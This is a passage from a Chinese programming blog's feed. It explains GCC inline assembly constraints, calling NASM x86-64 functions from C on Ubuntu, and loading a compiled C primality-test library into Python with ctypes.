输出、输入部分分别描述输出、输入操作数,不同的操作数描述符之间用逗号格开,每个操作数描述符由限定字符串和C语言变量组成。每个输出操作数的限定字符串必须包含“=”,这表示它是一个输出操作数。限制字符有很多,参见常用限制字符表。描述符字符串表示对该变量的限制条件,这样Gcc就可以根据这些条件决定如何分配寄存器,如何产生必要的代码处理指令操作数与C表达式或C变量之间的联系。例如:

    "=r"(a)

表示将C语言变量a的值放入到某个通用寄存器中。

    "m"(n)

表示直接引用C语言变量n的地址。这里需要注意的是,gcc会用类似函数传参的方式在堆栈中取用n的地址,若占位符%0表示”m”描述的n,则%0可能翻译为[RBP-14048]这样的形式,那么%0[ESI][EBX]这样的基址加变址寻址的方式就是错误的了,它不等效于n[ESI][EBX],而是[RBP-14048][ESI][EBX]。

若直接引用变量的内存位置(限定字符串为”m”(n)等),则变量原本的类型会附带在汇编语句中,如int型的变量n用mov %0,ah是不行的,只能mov %0, eax。
char型的变量则可以用mov %0,ah,同理CMP BYTE PTR %0[RCX],0中的BYTE PTR是多余的。

若在64位的机器上进行内联汇编编译,使用32位的寄存器作为基址或变址寄存器可能会报错:

    XXX is not a valid base/index expression

若遇到这种情况,可以尝试改用64位的寄存器进行寻址,如将ESI改为RSI。

(3).破坏描述部分

破坏描述符用于告诉编译器我们会改变哪些寄存器或内存的值,由逗号格开的字符串组成。
如果在指令中存在某种不可以预见的访问内存方式的话,那么最好在此部分写上”memory”。

3.常用限制字符表(list of clobbered registers)

分类 限定符 描述
操作数类型 “=” 操作数在指令中是只写的(输出操作数)
操作数类型 “+” 操作数在指令中是读写类型的(输入输出操作数)
通用寄存器 “a” 将输入变量放入eax
通用寄存器 “b” 将输入变量放入ebx
通用寄存器 “c” 将输入变量放入ecx
通用寄存器 “d” 将输入变量放入edx
通用寄存器 “s” 将输入变量放入esi
通用寄存器 “q” 将输入变量放入eax,ebx,ecx,edx中的一个
通用寄存器 “r” 将输入变量放入通用寄存器
通用寄存器 “A” 把eax和edx合成一个64 位的寄存器(use long longs)
寄存器或内存 “g” 将输入变量放入eax,ebx,ecx,edx中的一个,或者作为内存变量
寄存器或内存 “X” 操作数可以是任何类型
内存 “m” 内存变量
内存 “o” 操作数为内存变量,但是其寻址方式是偏移量类型,也即是基址寻址,或者是基址加变址寻址
内存 “V” 操作数为内存变量,但寻址方式不是偏移量类型
内存 “p” 操作数是一个合法的内存地址(指针)
立即数 “I” 0-31之间的立即数(用于32位移位指令)
立即数 “J” 0-63之间的立即数(用于64位移位指令)
立即数 “N” 0-255之间的立即数(用于out指令)
立即数 “i” 立即数
立即数 “n” 立即数,有些系统不支持除字以外的立即数,这些系统应该使用“n”而不是“i”
匹配 “0” 表示用它限制的操作数与某个指定的操作数匹配
匹配 “1” 也即该操作数就是指定的那个操作数,例如“0”
匹配 & 该输出操作数不能使用过和输入操作数相同的寄存器

二、C语言调用汇编子函数

1.综述

在Linux中无法使用masm,我想编译intel风格的汇编源程序,所以选择使用nasm。(AT&T风格的汇编源程序可以用as命令编译。)
nasm和masm语法相似但亦有不同之处,具体请查阅资料。

假设在test.c中调用test.asm中的函数,那么:

在test.asm文件中,引入外部变量、函数需要用关键字extern,不用说明数据类型。导出函数需要用关键字global。

在test.c,共享的变量需要定义在主函数main之外,从外部引入的函数需要用关键字extern说明。

在64位机器中,gcc编译默认是在64位模式下的,而nasm则默认是在32位下的,若将两者的编译结果进行链接,则会出错。
解决方法之一是让nasm工作在64位模式下:

    nasm -f elf64 test-s.asm

参数-f elf64表示生成64位的elf文件。这一命令会生成test-s.o。

而用gcc的编译C源程序的命令是:

    gcc -c test-c.c

参数-c表示只编译不链接。这一命令会生成test-c.o。

再进行链接,依旧使用gcc:

    gcc test-s.o test-c.o -o test

参数-o test指定了输出文件名为test,注意此文件名没有后缀。

2.示例

fun是定义在test-s.asm中的子函数,参数是整数n和字符a,该函数的功能是修改全部变量buf的第n个字符为a。
test-c.c会以3和’a’为参数调用它。调用fun前后buf的值应该分别是”test”和”teat”。源程序如下所示:

/* test-c.c */
#include<stdio.h>
//引入外部函数
extern   void fun(int, char);
//共享的变量申明必须在主函数外
char buf[]="test";
int main() {
    char a='a';
    int  n=3;
    printf("The old buf is %s.\n",buf);
    fun(n, a);    //调用汇编程序写的子函数fun。
    printf("The new buf is %s.\n",buf);
    return 0;
}
;test-s.asm
;引入C语言中变量
extern buf;
[section .text]         ;代码段
global fun               ;导出函数fun
fun:
    mov    rax, rsi
    mov    [buf+rdi-1], al
    ret

由于x86_64体系架构中函数调用时整数和指针参数按照从左到右的顺序依次保存在寄存器rdi,rsi,rdx,rcx,r8和r9中,浮点型参数保存在寄存器xmm0,xmm1等中,若有更多的参数则按照从右到左的顺序依次压入堆栈。所以上例中rdi中保存了参数n的值,rsi中保存了参数a的值。

对它们进行编译链接并执行,(”~$ “开头的一行表示是命令)如下所示:

    ~$ nasm -f elf64 test-s.asm
    ~$ gcc -c test-c.c
    ~$ gcc test-s.o test-c.o -o test
    ~$ ./test
    The old buf is test.
    The new buf is teat.

3.扩展:Windows下CodeBlocks与Gcc编译器

对于linux用户来说,用gcc编译程序是方便而又经常的事,而对于Windows用户来说,则可能更习惯于使用集成开发环境,而不直接接触编译器。其实Windows中也可以简单的开始使用Gcc编译器编译程序。

当然直接下载Gcc编译器安装运行也是很简单的,它是遵循GPL协议的自由软件。但实际上可能不需要这么麻烦,如果你已经安装了Code::Blocks,那么你很可能已经拥有了Gcc编译器,而且很可能长久以来,你一直在使用它编译程序。
打开文件夹C:\Program Files (x86)\CodeBlocks\MINGW\bin\,其中C:\Program Files (x86)\是CodeBlocks的目录,你的可能和我不一样。(如果你不了解自己的CodeBlocks安装在哪里,可以打开CodeBlocks,选择Setting -> Debugger -> Default,其中的Executable path就是我刚刚给出的文件夹。)看看其中是否有gcc.exe,若果有,那么恭喜你,不用再额外安装它了,若没有,则请下载安装。

现在假设你在C:\Program Files (x86)\CodeBlocks\MINGW\bin\找到了gcc.exe,接下来是如何使用它的问题——设置环境变量。打开计算机->属性->高级系统设置->高级->环境变量->Path,编辑它,在其末尾添加C:\Program Files (x86)\CodeBlocks\MINGW\bin\gcc.exe;之后保存退出就可以了。当然这是我的路径,你应当替换为你的。之后打开cmd命令行窗口,输入gcc,若显示gcc: fatal error: no input files之类的语句则表明设置成功,若提示该命令不存在等等则说明以上某一步或几步出错了,请耐心地检查。

三、参考

  1. GCC嵌入式汇编简介
  2. GCC扩展内联汇编
  3. AT&T 汇编和 GCC 内联汇编简介
  4. gcc下对汇编最好的处理文章____assembly______
  5. gcc内联汇编函数语法 
  6. 内联汇编 – 从头开始
  7. GCC内联汇编基础
  8. GCC内联汇编 
  9. gcc的内联汇编取全局变量地址
  10. C++为何内联汇编找不到定义的变量?
  11. NASM x86汇编入门指南
  12. 关于C语言和汇编语言混合编程的一点思考
  13. NASM入门教程(part1)
  14. NASM汇编HelloWorld
  15. GCC 和 NASM 联合编译,汇编函数前要有引到下划线 _
  16. Compiling C
  17. ld: i386 architecture of input file `hello.o’ is in
  18. gcc的mtune和march选项分析
  19. x86_64体系结构函数调用时函数参数传递方法
  20. Linux assemblers: A comparison of GAS and NASM
  21. nasm 与 masm语法区别
  22. NASM Assembly Language Tutorials – asmtutor.com
  23. Unix下NASM之和C语言互相调用
  24. 学习 nasm 语言
  25. 为什么在nasm中mov指令往内存移数据只能按字的方式
  26. 64位模式下 nasm 和c语言的互相调用
]]>
https://blog.werner.wiki/mixed-programming-of-c-and-intel-assembler-in-64-bit-ubuntu/feed/ 3
在Python中使用C程序 https://blog.werner.wiki/using-c-program-in-python/ https://blog.werner.wiki/using-c-program-in-python/#respond Sat, 27 Feb 2016 05:04:03 +0000 http://blog.werner.wiki/?p=84 很早就知道Python中可以方便的调用C程序,但一直没有尝试过。今天来试一试。环境ubuntu14.04LTS,Python2.7.6,gcc4.8.4。

首先准备在Python中要用到的C程序:

#include<stdio.h>
#include<math.h>
#define True 1
#define Flase 0
#define None -1

int isprime(unsigned long long n)
//*判断一个正整数是否是质数,
//若是质数,返回True,其他,返回Flase
{
    unsigned long long i=0;
    unsigned long long sqn;
    short flag=None;
    if(n<2)
    {
        flag=Flase;
    }
    else if(n==2)
    {
        flag=True;
    }
    else if(n%2==0)
    {
        flag=Flase;
    }
    else
    {
        i=1;
        sqn = (unsigned long long)sqrt(n);
        do{
            i = i+2;
            if( i > sqn ){
                flag=True;
            }
            if( n%i == 0 ){
                flag=Flase;
            }
        }while(flag==None);
    }
    return flag;
}

把它保存成isprime.c,然后将它编译可被Python调用的成动态链接库,在ubuntu中可以用gcc这样编译:

    gcc isprime.c -fPIC -shared -o isprime.so

其中各参数的含义是:

-fPIC

作用于编译阶段,告诉编译器产生与位置无关代码(Position-Independent Code),产生的代码中,没有绝对地址,全部使用相对地址,故而代码被加载器加载到内存的任意位置,都可以正确的执行。这正是共享库所要求的,共享库被加载时,在内存的位置不是固定的。

-shared

生成一个共享的目标文件,它能够与其他的目标一起链接生成一个可执行的文件。

-o isprime.so

输出文件名为isprime.so。.so(shared object)是Linux下的动态连接共享库文件,与Windows中的.dll对应。

然后运行如下代码调用isprime.so:

from ctypes import *
import os
isprime = cdll.LoadLibrary(os.getcwd() + '/isprime.so')
print isprime.isprime(23)

注意os.getcwd() + ‘/isprime.so’是isprime.so文件路径,此处使用了os.getcwd()获取当前路径。按这样的写法,Python程序应与isprime.so在同一目录下。这样,就成功的在Python中使用了C程序。

Ctypes是python的外部功能库,允许调用DLL或共享库中的函数,并用纯Python封装这些库。从python2.5开始Ctypes成为了标准的模块之一。Ctypes还具有兼容C的数据类型,下表列出了Ctypes变量类型,C语言变量类型和Python语言变量类型之间的关系:

Ctypes type C type Python type
c_char char 1-character string
c_wchar wchar_t 1-character unicode string
c_byte char int/long
c_ubyte unsigned char int/long
c_short short int/long
c_ushort unsigned short int/long
c_int int int/long
c_uint unsigned int int/long
c_long long int/long
c_ulong unsigned long int/long
c_longlong __int64 or long long int/long
c_ulonglong unsigned __int64 or unsigned long long int/long
c_float float float
c_double double float
c_char_p char * (NUL terminated) string or None
c_wchar_p wchar_t * (NUL terminated) unicode or None
c_void_p void * int/long or None

简单的使用示例如下:

from ctypes import *
i = c_int(45)
print i.value

这样,就可以直接在Python中声明C变量类型,调用C程序了。

更多高级用法参见 “浅谈 Python 程序和 C 程序的整合” 。

]]>
https://blog.werner.wiki/using-c-program-in-python/feed/ 0